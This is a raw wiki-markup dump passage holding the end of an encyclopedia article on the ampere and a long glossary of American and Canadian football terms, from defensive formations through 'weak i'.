Because it is a base unit, the definition of the ampere is not tied to any other electrical unit. The definition for the ampere is equivalent to fixing a value of the [[Permeability (electromagnetism)|permeability]] of vacuum to ''&amp;mu;''&lt;sub&gt;0&lt;/sub&gt; = 4&amp;pi;{{e|&amp;minus;7}} H/m. Prior to 1948, the so-called &quot;international ampere&quot; was used, defined in terms of the [[electrolysis|electrolytic]] deposition rate of [[silver]]. The older unit is equal to 0.999&amp;nbsp;85&amp;nbsp;A.

The ampere is most accurately realised using an [[ampere balance]], but is in practice maintained via [[Ohm's Law]] from the units of [[voltage]] and [[electrical resistance|resistance]], the [[volt]] and the [[ohm]], since the latter two can be tied to physical phenomena that are relatively easy to reproduce, the [[Josephson junction]] and the [[quantum Hall effect]], respectively.

The unit of [[electric charge]], the [[coulomb]], is defined in terms of the ampere: one coulomb is the amount of electric charge (formerly [[quantity of electricity]]) carried in a current of one ampere flowing for one [[second]]. [[Current (electricity)]], then, is the rate at which charge flows through a wire or surface. One ampere of current (I) is equal to a flow of one [[coulomb]] of charge (Q) per second of time (t):

:&lt;math&gt;\mathrm{I=Q/t} \,&lt;/math&gt;

Since a coulomb is approximately equal to 6.24{{e|18}} elementary charges, one ampere is equivalent to 6.24{{e|18}} elementary charges, such as [[electron]]s, moving through a surface in one second. More precisely, using the SI definitions for the conventional values of the [[Josephson constant|Josephson]] and [[von Klitzing constant|von Klitzing]] constants, the ampere can be defined as exactly 6.241&amp;nbsp;509&amp;nbsp;629&amp;nbsp;152&amp;nbsp;65{{e|18}} elementary charges per second.


==See also==
*[[SI]]
*[[Ohm's Law]]
*[[Electric shock]] 

==External links==
*[http://alpha.montclair.edu/~kowalskiL/SI/SI_PAGE.HTML  A short history of the SI units in electricity]

[[Category:SI base units]]
[[Category:Units of electrical current]]

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  <page>
    <title>Glossary of American football</title>
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      <comment>3-3 stack</comment>
      <text xml:space="preserve">__NOTOC__

The following terms are used in [[American football]] and [[Canadian football]]. See also: [[wiktionary:Category:Football (American)]]

==See also==
*[[American football|Football]]
*[[Football strategy]]

{{compactTOC2}}

==0–9==
;''n''-''m'' defense:a defense with ''n'' down linemen and ''m'' linebackers, such as:

:;3-3: a defense with 3 lineman, 3 linebackers, and 5 defensive backs. Often called a '''3-3 stack.'''
:;3-4 defense:a [[defensive team | defensive]] formation with 3 [[lineman (football)|linemen]] and 4 linebackers. A professional derivative in the 1970's of the earlier [[University of Oklahoma|Oklahoma]] or '''&quot;50&quot; defense''', which had 5 linemen and 2 linebackers.  The 3-4 outside linebackers resemble &quot;stand-up ends&quot; in the older defense.
:;4-3 defense:a defensive formation with 4 linemen and 3 linebackers. Several variations are employed.  First used by coach [[Joe Kuharich]].
:;4-6 defense :(pronounced ''four-six defense'') a defense with four (4) down linemen and six (6) linebackers
;[[46 defense]] :(pronounced ''forty-six defense'') a formation of the 4-3 defense (four linemen and three linebackers) in which three defensive backs (the two cornerbacks and the strong safety) crowd the line of scrimmage. The remaining safety, which is the free safety, stays in the backfield. It is also known as the &quot;Bear&quot; defense because it was popularized by [[Buddy Ryan]] while coaching for the [[Chicago Bears]]. Not to be confused with the 4-6 (four-six) defense.
;50 defense  :a once popular college defense with 5 defensive linemen and 2 linebackers.

==A==
;audible: (from [[Latin]] ''aud&amp;#299;re'' = to hear, to listen to) a play called by the quarterback at the line of scrimmage to change the play that was called in the huddle.
;automatic :see [[#A|audible]]
;automatic first down: for several of the most severe penalties, including '''pass interference''' and all personal fouls, a first down is rewarded to the offensive team even if the yardage of that penalty is less than the yardage needed for a first down.

==B==
;back :A [[American and Canadian football position names|position]] behind the offensive line, or behind the linebackers on defense.
;[[blitz (American football)|blitz]] :a defensive maneuver in which one or more linebackers or defensive backs, who normally remain behind the line of scrimmage, instead charge into the opponents' backfield.  However, in the 3-4 defense, one linebacker typically rushes the passer with the three down linemen.  This is not considered a blitz.  If an additional linebacker is sent, bringing the total number of rushers to five, it is a blitz.
;[[blocking (American football)|blocking]] :when a player obstructs another player's path with his body.
;[[bootleg play|bootleg]] :an offensive play predicated upon misdirection in which the quarterback pretends to hand the ball to another player, and then carries the ball in the opposite direction of the supposed ballcarrier with the intent of either passing or running (sometimes the quarterback has the option of doing either).  A '''naked bootleg''' is a risky variation of this play when the quarterback has no blockers pulling out with him.  Contrast with '''scramble''', '''sneak''', and '''draw'''
;the box :an area on the defensive side of the ball, directly opposite the offensive linemen and about 5 yards deep; having 8 players in the box means bringing in a defensive back, normally the strong safety, to help stop the offensive team's running game

==C==
;[[Center (American football)|center]] :a player [[American and Canadian football position names|position]] on [[offensive team|offense]]. The center snaps the ball.
;centre :Canadian &quot;center&quot;
;chains :the 10-yard long chain that is used by the [[chain crew]] to measure for a new series of downs.
;check-off: see [[#A|audible]]
;chuck and duck : a style of offense with minimal pass protection requiring the Quarterback to &quot;chuck&quot; the ball then &quot;duck&quot; to avoid a defensive lineman.  
;clipping :an illegal block in which the victim is blocked from the back and below the waist; the penalty is 15 yards. Originally, clipping was defined as any block from the back, but is now restricted to blocks below the waist. Other blocks from the back are now punished with 10-yard penalties.
;coffin corner :the corner of the field of play. A punter, if he is close enough, will often attempt to kick the ball out of bounds close to the receiving team's goal line and pin them back near their own end zone.
;contain :a defensive assignment.  On outside runs such as the sweep, one defensive player (usually a [[cornerback]] or outside linebacker) is assigned to keep the rusher from getting to the edge of the play and turning upfield.  If executed properly, the rusher will have to turn upfield before the play calls for it, giving the linebackers a better chance of stopping the play for little or no gain.
;[[cornerback]] (CB):a [[defensive back]] who lines up near the line of scrimmage across from a '''wide receiver'''. Their primary job is to disrupt passing routes and to defend against short and medium passes in the passing game, and to contain the rusher on rushing plays.
;counter :a running play in which the running back will take a step in the apparent direction of the play (ie, the direction the line is moving), only to get the handoff in the other direction.  '''Weak side''' linemen will sometimes '''pull''' and lead the back downfield (sometimes called a '''counter trap'''), but not necessarily.  The play is designed to get the defense to flow away from the action for a few steps as they follow the linemen, allowing more room for the running back.
;crackback block :an illegal block delivered below the opponent's waist by an offensive player who had left the area of close line play and then returned to it, or was not within it at the snap. The term is also used to describe a legal block (delivered from the front, or from the side with the offensive player's helmet in front of the blocked player) by a wide receiver on a player who lined up inside of him.
;cut
# a sharp change of direction by a running player. Also called a [[Cutback (football move)|cutback]].
# see &quot;cut blocking&quot; below
;cut blocking: a blocking technique in which offensive linemen, and sometimes other blockers, block legally below the waist (i.e., from the front of the defensive player) in an attempt to bring the defenders to ground, making them unable to pursue a running back for the short time needed for the back to find a gap in the defense. The technique is somewhat controversial, as it carries a risk of serious leg injuries to the blocked defenders. The [[NFL]]'s [[Denver Broncos]] are especially famous (or infamous) for using this technique.

==D==
;[[dead ball]] :a ball which is no longer in play.
;[[defensive back]] :a cornerback or safety [[American_and_Canadian_football_position_names|position]] on the defensive team; commonly defends against wide receivers on passing plays.  Generally there are 4 defensive backs playing at a time; but see '''nickel back''' and '''dime back'''.
;[[defensive end]] (DE):a player [[American_and_Canadian_football_position_names|position]] on [[defensive team| defense]] who lines up on the outside of the defensive line.
;[[defensive tackle]] (DT):a player [[American_and_Canadian_football_position_names|position]] on [[defensive team| defense]] on the inside of the defensive line. When a defensive tackle lines up directly across from the center, he is known often as a [[nose tackle]].
;[[defensive team]] :the team that begins a play from scrimmage not in possession of the ball.
;[[dime back]] :the second extra, or sixth total, defensive back.  Named because a [[dime (U.S. coin)|dime]] has the same value as two [[nickel (U.S. coin)|nickel]]s.
;double reverse: a play in which the ball reverses direction twice behind the line of scrimmage.  This is usually accomplished by means of two or three hand-offs, each hand-off going in an opposite direction as the previous one. Such a play is extremely infrequent in football.

:Some people confuse the ''double reverse'' with a ''reverse'', which is a play with two hand-offs instead of three.
;[[down (football)| down]] :one of a series of plays in which the offensive team must advance at least 10 yards or lose possession. '''First down''' is the first of the plays; fourth is the last down in American, and third in Canadian, football. A first down occurs after a change of possession of the ball, after advancing the ball 10 yards following a previous first down or after certain penalties.
;down lineman: a player stationed in front of his line of scrimmage and who has either one (three-point stance) or two (four-point stance) hands on the ground.
;[[draw play]] :a play in which the quarterback drops back as if to pass, then hands off to a running back or runs with the ball himself. Contrast with '''scramble'''
;drive
*A continuous set of offensive plays gaining substantial yardage and several first downs, usually leading to a scoring opportunity.
*A blocking technique - &quot;drive block&quot; - in which an offensive player through an advantaged angle or with assistance drive a defensive player out of position creating a hole for the ball carrier. 
;[[drop kick]] :a kick in which the ball is dropped and kicked once it hits the ground and before it hits it again; a half-volley kick.

==E==
;[[eligible receiver]]s :players who may legally touch a forward pass. On the passer's team, these are: the '''ends''' (see below), the '''backs''', and (except in the NFL), one player in position to take a hand-to-hand '''snap''', i.e. a T '''quarterback'''; provided the player's shirt displays a number in the ranges allowed for eligible receivers. All players of the opposing team are eligible receivers, and once the ball is touched by a player of the opposing team (anywhere in American, or beyond the lines of scrimmage in Canadian football), all players become eligible.
;encroachment: an illegal action by a player: to cross the [[line of scrimmage]] and make contact with an opponent before the ball is snapped, or to line up offside and remain there when the ball is put in play.
;[[End (football)|end]] :a player [[American and Canadian football position names|position]], either on [[offensive team| offense]] or [[defensive team| defense]] -- see '''linemen'''.
;[[end zone]] :the area between the end line (or deadline in Canadian amateur football) and the goal line, bounded by the sidelines.
;[[extra point]] :a single point scored in a conversion attempt by making what would be a field goal or a safety during general play.

==F==
;[[fair catch]] :An unhindered catch of an opponent's kick. The player wanting to make one must signal for a fair catch by waving an arm overhead while the ball is in the air.  After that signal, if he gains possession of the ball it is dead immediately and opponents will receive a fifteen yard penalty for hitting him.
;[[fantasy football (American)]] :A game in which the participants (called &quot;owners&quot;) each draft on their own or with the aid of software [http://www.thecoordinator.com] a team of real-life NFL players and then score points based on those players' statistical performance on the field.
;field of play: the area between both the goal lines and the sidelines, and in some contexts the space vertically above it.
;[[field goal]] :score of 3 points made by place- or drop-kicking the ball through the opponent's goal other than via a kickoff or free kick following a safety; formerly, &quot;goal from the field&quot;.
;flanker :a player [[American_and_Canadian_football_position_names|position]] on offense.  A wide receiver who lines up 1 or more yards off the line of scrimmage outside of another receiver.  
;flat :an area on the field between the line of scrimmage and 10 yards into the defensive backfield, and within 15 yards of the sideline.  Running backs often run pass routes to the flat when they are the safety valve receiver.
;[[flea flicker (American football)|Flea flicker]] :a trick play in which a [[running back]] laterals the ball back to the [[quarterback]], who then throws a pass to a [[wide receiver]] or [[tight end]].
;formation :An arrangement of the offensive skill players.  A formation usually is described in terms of how the running backs line up (e.g. [[I formation]], which refers to the half back is lined up about 7 yard deep, and the fullback is lined up about 5 yards deep, both directly behind the quarterback) or how the wide receivers line up (e.g. Trips left, in which three wide receivers line up to the left of the linemen).  Frequently, the formation will allude to both, such as with Strong I Slot Right, in which the halfback is lined up 7 yards deep behind the quarterback, the fullback is 5 yards deep behind the guard or tackle on the strong side, and both wide receivers are lined up on the right side of the offensive line.There are rules limiting what is legal in a formation.  All five offensive linemen must be on the line of scrimage (a small amount of leeway is given to tackles when lined up for pass protection).  Also, there must be one receiver (usally one tight end and one wide receiver) lined up on the line on either side of the offensive line (it doesn't matter how close they are to the tackles, as long as they are on the line).  A receiver who is on the line may not go in motion.
;[[forward pass]] :a pass that touches a person, object, or the ground closer to the opponent's end line than where it was released from, or is accidentally lost during a forward throwing motion.
;four-point stance: a down lineman's stance with four points on the ground, in other words, his two feet and his two hands
;free kick :a kick made to put the ball in play as a kickoff or following a safety (the score; &quot;safety touch&quot; in Canadian football) or fair catch.
;free safety (FS):a player [[American_and_Canadian_football_position_names|position]] on [[defensive team|defense]]. Free safeties typically play deep, or &quot;center field&quot;, and often have the pass defense responsibility of assisting other defensive backs in deep coverage (compared to strong safeties, who usually have an assigned receiver and run support responsibilities).
;[[fullback#American_football|fullback]] (FB):a player [[American_and_Canadian_football_position_names|position]] on [[offensive team| offense]].  Originally, lined up deep behind the '''quarterback''' in the '''T formation'''.  In modern formations this position may be varied, and this player has more blocking responsibilities in comparison to the '''halfback''' or '''tailback'''.
;[[fumble]] :a ball that a player accidentally lost possession of; in Canadian football the term includes muffs.

==G==
;[[Goal line|goal]] :a surface in space marked by a structure of two upright posts 18 feet 6 inches apart extending above a horizontal crossbar whose top edge is 10 feet off the ground.  The goal is the surface above the bar and between the lines of the inner edges of the posts, extending infinitely upward, centered above each end line in American, and each goal line in Canadian football.
;goal area :the end zone in Canadian professional football.
;[[goal line]] :the front of the [[end zone]].
;gridiron :a football field, so called for its markings.
;[[Guard (American football)|guard]] :one of two player [[American and Canadian football position names|positions]] on [[offensive team| offense]] -- see '''linemen'''.  A 5-player defensive line will have one, and a defensive line of 6 or more players, two guards, while a defensive line of fewer than 5 players has no guard.

==H==
;[[Hail Mary pass|Hail Mary]] :a long pass play, thrown towards a group of receivers near the '''end zone''' in hope of a '''touchdown'''.  Used by a team as a last resort as time is running out in either of two halfs (usually by a team trailing in the second half). Refers to the [[Roman Catholic Church|Catholic]] prayer.
;halfback :a player [[American and Canadian football position names|position]] on [[offensive team| offense]].  Also known as a '''tailback'''.
;[[halfback option play]] :a trick play in which the halfback throws a pass.
;halo violation : From 1983 until the end of the 2002 season, in the NCAA (college football) the halo rule was a penalty for interference with the opportunity to catch a kick.  The so called '''halo''' rule stated that no player of the kicking team may be within two yards of a receiving team player positioned to catch a punt or kickoff (before that person has touched the ball).  The rule was abolished beginning in the 2003 season.  
;hand-off :(also known as backward pass) a player's handing of a live ball to another player. The hand-off goes either backwards or laterally, as opposed to a forward pass. Sometimes called a &quot;switch&quot; in touch football.  (Note different usage of term from its rugby meaning.)
;hash marks :lines between which the ball begins each play.  The lines are parallel to and a distance in from the side lines and marked as broken lines.
;[[H-back]] :a player listed in a [[roster]] or [[depth chart]] as a [[fullback]] and playing as a ''h''ybrid of a fullback and a [[tight end]]
;[[Holder (American football)|holder]] :a player who holds the ball upright for a place kick.  Often backup quarterbacks are used for their superior ball-handling ability
;holding :there are two kinds of holding: offensive holding, illegally blocking a player from the opposing team by grabbing and holding his uniform or body; and defensive holding, called against defensive players who impede receivers who are more than 5 yards from the line of scrimmage, but who are not actively making an attempt to catch the ball (if the defensive player were to impede an offensive player in the act of catching the ball, that would be the more severe penalty of pass interference)
;huddle :an on-field gathering of members of a team in order to secretly communicate instructions for the upcoming play.

==I==
;[[I formation]] :A formation that includes a '''fullback''' and '''tailback''' lined up with the fullback directly in front of the tailback. If a third back is in line, this is referred to as a &quot;full house I&quot;.  If the third back is lined up along side the fullback, it is referred to as a &quot;Power I&quot;.
;[[incomplete pass]] :a forward pass of the ball which no player legally caught.
;inbounds lines :the hash marks.
;inside :
# of a player's path: relatively close (in reference to the sides of the field) to where the ball was snapped from. Thus, a ballcarrier's path in crossing the neutral zone may be said to be &quot;inside&quot; of an opponent, or an &quot;inside run&quot; in general, and a rushing defensive player may be said to put on an &quot;inside move&quot; or &quot;inside rush&quot;.
# of the movement of the ball between players: directed toward a player who cuts between a player in the backfield who throws or hands the ball and the place from which it was snapped. Thus, an &quot;inside pass&quot; or &quot;inside handoff&quot;. An &quot;inside reverse&quot; (sometimes called a scissors play) is a reverse play via an inside handoff.
;intentional grounding :An illegal forward pass thrown beyond the line of scrimmage without an intented reciever and no chance of completion to any offensive player. Intentional grounding is not called in the case of a '''spike''' or if the quarterback was outside the '''tackle box''' at the time of the pass.
;[[interception]] :the legal catching of a forward pass thrown by an opposing player.

==J==
;[[I formation#Common variations|Jumbo]] :an offensive package which includes two tight ends, a full back and a half back.  Similar to '''heavy jumbo''', in which either the half back or the fullback is replaced by another tight end.  Often one or more of the &quot;tight ends&quot; is actually a linebacker (The New England Patriots use Mike Vrabel this way - he has 6 career regular season TDs) or offensive linemen.  In these cases, the player must report in as an eligible receiver, whereas a tight end is assumed to be one.

==K==
;kick :as a verb, to strike the ball deliberately with the foot; as a noun, such an action producing a [[Punt kick|punt]], [[place kick]], or [[drop kick]]
;[[Kickoff (American football)|kickoff]] :a free kick which starts each half, or restarts the game following a touchdown or field goal. The kickoff may be a place kick in American or Canadian football, or a drop kick in American football.
;kick returner :a player on the receiving team who specializes in fielding kicks and running them back.
;[[Quarterback kneel|kneel-down]] :a low risk play in which the quarterback kneels down after receiving the snap, ending the play.  Used to run out the clock.

==L==
;[[lateral pass|lateral]] :a pass thrown to the side or backward.  Also called &quot;backward pass&quot; in American football, &quot;onside pass&quot; in Canadian football.
;[[line of scrimmage]]/scrimmage line :one of two vertical planes parallel to the goal line when the ball is to be put in play by scrimmage. For each team in American football, the line of scrimmage is through the point of the ball closest to their end line. The two lines of scrimmage are called ''offensive line of scrimmage'' and ''defensive line of scrimmage''

:In [[Canadian football]], the line of scrimmage of the [[defensive team]] is one yard their side of the ball.
;line to gain :a line parallel to the goal lines, such that having the ball dead beyond it entitles the offense to a new series of downs, i.e. a new &quot;first down&quot;. The line is 10 yards in advance of where the ball was to be snapped for the previous first down.
;[[linebacker]] :a player [[American and Canadian football position names|position]] on [[defensive team| defense]].  The linebackers typically play 1 to 3 yards behind the defensive '''linemen''' and have both run and pass defense responsibilities.  However they are often called on to '''blitz''', and in some formations a linebacker may be designated as a &quot;rush linebacker&quot;, rushing the passer on almost every play.
;[[lineman (football)|lineman]] :a [[defensive team|defensive]] or [[offensive team|offensive]] [[American and Canadian football position names|position]] on the line of scrimmage.  
*On offense, the player snapping the ball is the '''center'''.  The players on either side of him are the '''guard'''s, and the players to the outside of him are the '''tackle'''s.  The players on the end of the line are the '''end'''s.  This may be varied in an '''unbalanced line'''.
*On defense, the outside linemen are '''end'''s, and those inside are  '''tackle'''s. If there are 5 or 6 linemen, the inner most linemen are known as '''guard'''s.  This is rare in professional football except for goal-line defense, but is sometimes seen in high school or college.
;live ball :any ball that is in play, whether it is a player's possession or not. The ball is live during plays from scrimmage and free kicks, including kickoffs.
;[[long snapper]] :a center who specializes in the long, accurate [[snap (football)|snap]]s required for punts and field goal attempts. Most teams employ a specialist long snapper instead of requiring the normal center to perform this duty.
;loose ball :any ball that is in play and not in a player's possession. This includes a ball in flight during a lateral or forward pass.

==M==
;man coverage :same as man-to-man coverage
;man-in-motion :a player on offense who is moving backwards or parallel to the line of scrimmage just before the snap. In American football, only one offensive player can be in motion at a time, cannot be moving toward the line of scrimmage at the snap, and may not be a player who is on the line of scrimmage. In Canadian football, more than one back can be in motion, and may move in any direction as long as they are behind the line of scrimmage at the snap.
;man-to-man coverage :a defense in which all players in pass coverage, typically linebackers and defensive backs, cover a specific player. Pure man coverage is very rare; defenses typically mix man and zone coverage.
;mike :the ''m''iddle linebacker.
;mo :the other middle linebacker in a 3-4 formation.
;muff :a loose ball that is dropped or mishandled while the player is attempting to gain possession.

==N==
;[[National Football League]] :the largest professional American football league.
;[[neutral zone (American football)|neutral zone]] :the region between the lines of scrimmage or between the free kick restraining lines
;[[National Football League|NFL]] :the National Football League
;[[nickel back]] :an extra, or fifth, defensive back.  Named after the coin, worth five cents.  Popularized by the [[Miami Dolphins]] in the 1970s, now common.
;[[no-huddle offense]] :a tactic wherein the offense quickly forms near the line of scrimmage without huddling before the next play.
;[[nose tackle]] :a tackle in a 3-man defensive line who lines up &quot;opposite the '''center''''s nose&quot;.

==O==
;[[offensive team]] :the team with possession of the ball
;offside :
*an infraction of the rule that requires both teams to be on their own side of their restraining line as or before the ball is put play.  Offside is normally called on the defensive team.
*in Canadian football, at the time a ball is kicked by a teammate, being ahead of the ball, or being the person who held the ball for the place kick
;one back formation  :a formation where the '''offensive team''' has one '''running back''' in the backfield with the '''quarterback'''.  Other '''eligible receivers''' are near the '''line of scrimmage'''.   
;[[onside kick]] :a play in which the kicking team tries to recover the kicked ball.
;[[Option offense|option]] :
*Usually, a type of play in which the quarterback has the option of handing off, keeping, or laterally passing to one or more backs.  Often described by a type of formation or play action, such as triple option, veer option, or counter option.  Teams running option plays often specialize in them.
*Less often, a play in which a back may either pass or run
;outside :opposite of '''inside'''

==P==
;package :the group of players on the field for a given play.  For example, the Nickel Package substitutes a cornerback for either a linebacker or a defensive lineman (the latter is referred to as a 3-3-5 Nickel), or the Jumbo package substitutes a wide receiver with a tight end.
;[[pass interference]] :when a player illegally hinders an eligible receiver's opportunity to catch forward pass.
;passing play: a play in which a forward pass is made
;[[placekicker|place kick]] :kicking the ball from where it has been placed stationary on the ground or, where legal, on a tee.
;[[football play|play]] 
:the action between the '''snap''' of the ball, and the end of play signaled by the official's whistle for a '''tackle''' or out of bounds
:the plan of action the offensive team has for each snap, for example a running play or pass play
;[[play action pass|play action]]
: a tactic in which the quarterback fakes either a handoff or a throw in order to draw the defense away from the intended offensive method
;[[play clock]]: a timer used to increase the pace of the game between plays. The offensive team must [[Snap (American football)|snap]] the ball before the time expires. Currently, the [[National Football League|NFL]] uses 40 seconds (25 seconds after a time out).
;playing field: see [[#F|field of play]]
;pocket :an area on the offensive side of the line of scrimmage, where the offensive linemen attempt to prevent the defensive players from reaching the quarterback during passing plays
;[[American and Canadian football position names|position]] :a place where a player plays relative to teammates, and/or a role filled by that player
;prevent defense :a defensive strategy that utilizes deep zone coverage in order to prevent a big pass play from happening downfield, usually at the expense of giving up yards at shorter distances.  Often used against '''hail mary''' plays, or at the end of the game when the defending team is protecting a lead.  Disparaged by many fans. John Madden, legendary player, coach, and commentator, has been quoted as saying, &quot;The only thing a prevent defense prevents is a win.&quot;
;pulling :a term used to describe an offensive lineman who, instead of blocking the player in front of him, steps back and moves down the line(&quot;pulls&quot;)  to block another player, usually in a &quot;trap&quot; or &quot;sweep.&quot;
;[[punt (football)|punt]] :a kick in which the ball is dropped and kicked before it reaches the ground. Used to give up the ball to the opposition after offensive '''downs''' have been used, as far down the field as possible. 
;[[punter (football position)|punter]] :a kicker who specializes in punting as opposed to place kicking.

==Q==
;[[quarterback]] (QB):an [[offensive team|offensive]] player who lines up behind the [[center (football)|center]], from whom he takes the [[snap (football)|snap]].  
;[[quick kick]] :an unexpected punt.

==R==
;[[wide receiver|receiver]] :a wide receiver.
;[[reception (American football)|reception]] :when a player catches (receives) the ball.
;red dog :a blitz.
;red zone :the area between the 20 yard line and the goal of the defensive team. 
;referee (R): the official who directs the other officials on the field, He is one of seven officials.
;restraining line :a team's respective line of scrimmage
:at a free kick, the line the ball is to be kicked from (for the kicking team), or a line 10 yards in advance of that (for the receiving team)
;[[Reverse (American football)|reverse]] :an offensive play in which a ballcarrier going toward one side of the field hands or tosses the ball to a teammate who is running in the opposite direction (if the second ballcarrier is an end, it is an &quot;end around&quot;).
;[[Run &amp; Shoot|run and shoot]] :an [[Offensive philosophy (American football)|offensive philosophy]] designed to force the defense to show its hand prior to the snap of the ball by splitting up receivers and sending them in motion.  Receivers run patterns based on the play of the defenders, rather than a predetermined plan.
;[[running back]]
:a player position on offense.  Although the term usually refers to the halfback or tailback, fullbacks are also considered runningbacks. 
;running play: a play where the offense attempts to advance the ball without passing.
;[[rush (American football) | rush]] :trying to tackle or hurry a player before he can throw a pass or make a kick
:a running play

==S==
;[[quarterback sack|sack]] :tackling a ball carrier who intends to throw a forward pass.  A sack is also awarded if a player forces a fumble of the ball, or the ball carrier to go out of bounds, behind the line of scrimmage on an apparent intended forward pass play.  The term gained currency ca. 1970.
;safety
#a player position on [[defensive team|defense]] -- see '''free safety''' and '''strong safety'''.
#a method of scoring (worth two points) by downing an opposing ballcarrier in his own end zone, forcing the opposing ballcarrier out of his own end zone AND out of bounds, or forcing the offensive team to fumble the ball so that it exits the end zone. A safety is also awarded if the offensive team commits a penalty within its own end zone. After a safety, the team that was scored upon must kick the ball to the scoring team from its own 20-yard line.&lt;br&gt;A safety scored during a try scores 1 point and is followed by a kickoff as for any other try.
;safety valve :a receiver whose job it is to get open for a short pass in case all other receivers are covered.
;sam :the ''s''trong side outside linebacker
;scramble :on a called passing play, when the quarterback runs from the pocket in an attempt to avoid being sacked, giving the receivers more time to get open or attempting to gain positive yards by running himself.
;[[screen pass]] :a short forward pass to a receiver who has blockers in front of him. The receiver in this play is usually a running back, although wide receiver and tight end screens are also used.  Although the are both called screen passes, the wide receiver screen and the running back screen are used for very different reasons.  In the case of a running back screen, the play is designed to allow the pass rushers by the offensive linemen, leaving the defender out of position to make a play.  The play is usually employed to defuse the pass rush in the case of a running back screen.  The Wide Receiver screen is a much faster developing play, designed to catch the defense off guard.
;scrimmage :see: [[play from scrimmage]]
;shift :when two or more offensive players move at the same time before the snap. All players who move in a shift must come to a complete stop prior to the snap.
;[[Shoot the gap|shooting]] :the action of a linebacker or defensive back to [[blitz (American football)|blitz]]
;[[shotgun formation]] :formation in which offensive team may line up at the start of a play. In this formation, the quarterback receives the snap 5-8 yards behind the center.
;sideline :
# one of the lines marking each side of the field
# as adjective: on the field near a sideline
;side zone :the area between a hash mark and a sideline
;[[single wing]] : a formation, now out of fashion, most popular about 1920-50, with an overload and wingback on one side and two backs about 5 yards deep to receive the snap.  
;slobber-knocker : a particularly gruesome tackle or hit.
;slot :The area between a split end and the offensive line.  A pass receiver lined up in the slot at the snap of the ball may be called a slotback or slot receiver.
;[[snap (football)|snap]] :the handoff or pass from the center that begins a play from scrimmage.
;[[Quarterback sneak|sneak]] :an offensive play in which the quarterback, immediately on receiving the snap dives forward with the ball.  The play is used when a team needs a very short gain to reach either the goal line or the line to gain.
;[[special team]]s :the units that handle kickoffs, punts, free kicks and field goal attempts.
;spike :a play in which the quarterback throws the ball at the ground immediately after the snap.  Technically an incomplete pass, it stops the clock. Note that a spike is not considered '''intentional grounding'''.
;splits :the distance between the feet of adjacent offensive linemen.  Said to be wide, if there is a large gap between players, or narrow, if the gap is small.
;split end :a player position on offence.  A receiver who lines up on the line of scrimmage, several yards outside the offensive linemen.  The term is no longer used in American Football, having been long since replaced by the wide receiver or wideout, with no distinction between whether the receiver is on the line or not.
;[[squib kick]] :a type of '''kickoff''' in which the ball is intentionally kicked low to the ground, typically bouncing on the ground a few times before being picked up. This is done in the hopes of preventing a long return, as the ball is often picked up by one of the '''upmen''' as opposed to the designated kickoff returner.
;sticks : the pole attached to the end of the 10-yard chain that is used by the [[chain crew]] to measure for a new series of downs -- i.e. the line to gain a new &quot;first down&quot;.
;stiff-arm or straight-arm :a ballcarrier warding off a would-be tackler by pushing them away with a straight arm.
;strong i :a formation wherein the tailback is lined up deep directly behind the quarterback, and the fullback is lined up offset to the strong side of the formation.
;strong safety (SS):a kind of safety on [[defensive team|defense]], as opposed to a free safety. This is a central defensive back; originally, the term indicated that he lined up on the strong side of the field and covered the tight end. However, the modern usage of the term now indicates a central defensive back with responsibility for run and pass support, slightly favoring run support. 
;strong side :simplistically speaking, the side of the field (left or right) that has the most players, but it depends on the formations of the teams. When a team uses one tight end, the strong side is the side of the field where the tight end lines up. If the offensive package uses no tight end, or more than one tight end, the strong side is the side of the field with the most offensive players on or just behind the line of scrimmage.
;[[stunt (football)|stunt]]:a tactic used by defensive linemen in which they switch roles in an attempt to get past the blockers.  Both defenders will start with power rushes, with the stunting defender getting more of a push.  The other lineman will then go around him, ideally using him as a pick to get free from his blocker.
;[[Sweep (American football)|sweep]] :a running play in which several blockers lead a running back on a designed play to the outside.  Depending on the number of blockers and the design of the play this is sometimes referred to as a &quot;power sweep&quot; or &quot;student-body-right&quot; (or left).

==T==
;[[T formation]] :a classic offensive formation with the quarterback directly behind the center and three running backs behind the quarterback, forming a 'T'.  Numerous variations have been developed including the split-T, wing-T, and wishbone-T.
;[[tackle (football)|tackle]]
*the act of forcing a ball carrier to the ground
*a player position on the line, either an [[offensive tackle]] or a [[defensive tackle]]-- see '''linemen'''.
;tackle box: the area between where the two [[offensive tackle]]s line up prior to the snap.
;[[tailback]] :player position on [[offensive team| offense]] farthest (&quot;deepest&quot;) back, except in kicking formations. Also often referred to as the '''running back''', particularly in a '''one-back offense'''.
;[[three-and-out]]: when an offensive team fails to gain a first down on the first three plays of a drive, and thus is forced to punt on fourth down.
;three-point stance: a down lineman's stance with three points on the ground, in another words, his two feet and one of his hands
;[[tight end]] :a player position on [[offensive team| offense]], an eligible receiver ligned up on the line of scrimmage, next to the offensive tackle.  Tight ends are used as blockers during running plays, and either run a route or stay in to block during passing plays.
;[[touchback]] :the act of downing the ball behind one's own goal line after the ball had been propelled over the goal by the opposing team. After a touchback, the team that downed it gets the ball at their own 20-yard line.
;touchdown :a play worth six points, accomplished by gaining legal possession of the ball in the opponent's end zone. It also allows the team a chance for one extra point by kicking the ball or a two point conversion; see &quot;try&quot; below.
;trap :a basic blocking pattern in which a defensive lineman is allowed past the line of scrimmage, only to be blocked at an angle by a &quot;pulling&quot; lineman. Designed to gain a preferred blocking angle and larger hole in the line.
;trips :a formation in which 3 wide receivers are lined up close to one another on the same side of the field.  Also refers to those receivers.  Used to create potential for confusion or collision between defenders as these receivers split up.
;[[two-point conversion]] :a play worth two points accomplished by gaining legal possession of the ball in the opponent's end zone after a touchdown has been made; see &quot;try&quot; below
;try :a scrimmage play, from close to their opponent's goal line, awarded to a team which has scored a touchdown, allowing them (and in some codes, their opponents) to score an additional 1 or 2 points; also called &quot;try-for-point&quot;, &quot;conversion&quot;, &quot;convert&quot; (Canadian), &quot;extra point(s)&quot;, &quot;point(s) after (touchdown)&quot; or PAT

==U==
;unbalanced line :usually refers to an offensive formation which does not have an equal number of '''linemen''' on each side of the ball.  Done to gain a blocking advantage on one side of the formation; typically one '''tackle''' or '''guard''' lines up on the other side of the ball.  For example a common alignment would be E-G-C-G-T-T-E.
;upman :during a kickoff, every player on the return team is called an &quot;upman&quot; with the exception of the one or two designated kickoff returners, who stand furthest away from the starting point of the kicking team.

==V==
;Veer :a type of '''option''' offense using 2 backs in the backfield, one behind each guard or tackle (referred to as split backs), allowing a triple option play (give to either back or quarterback keep).

==W==
;weak i :a formation wherein the tailback is lined up deep directly behind the quarterback, and the fullback is lined up offset to the weak side of the formation.
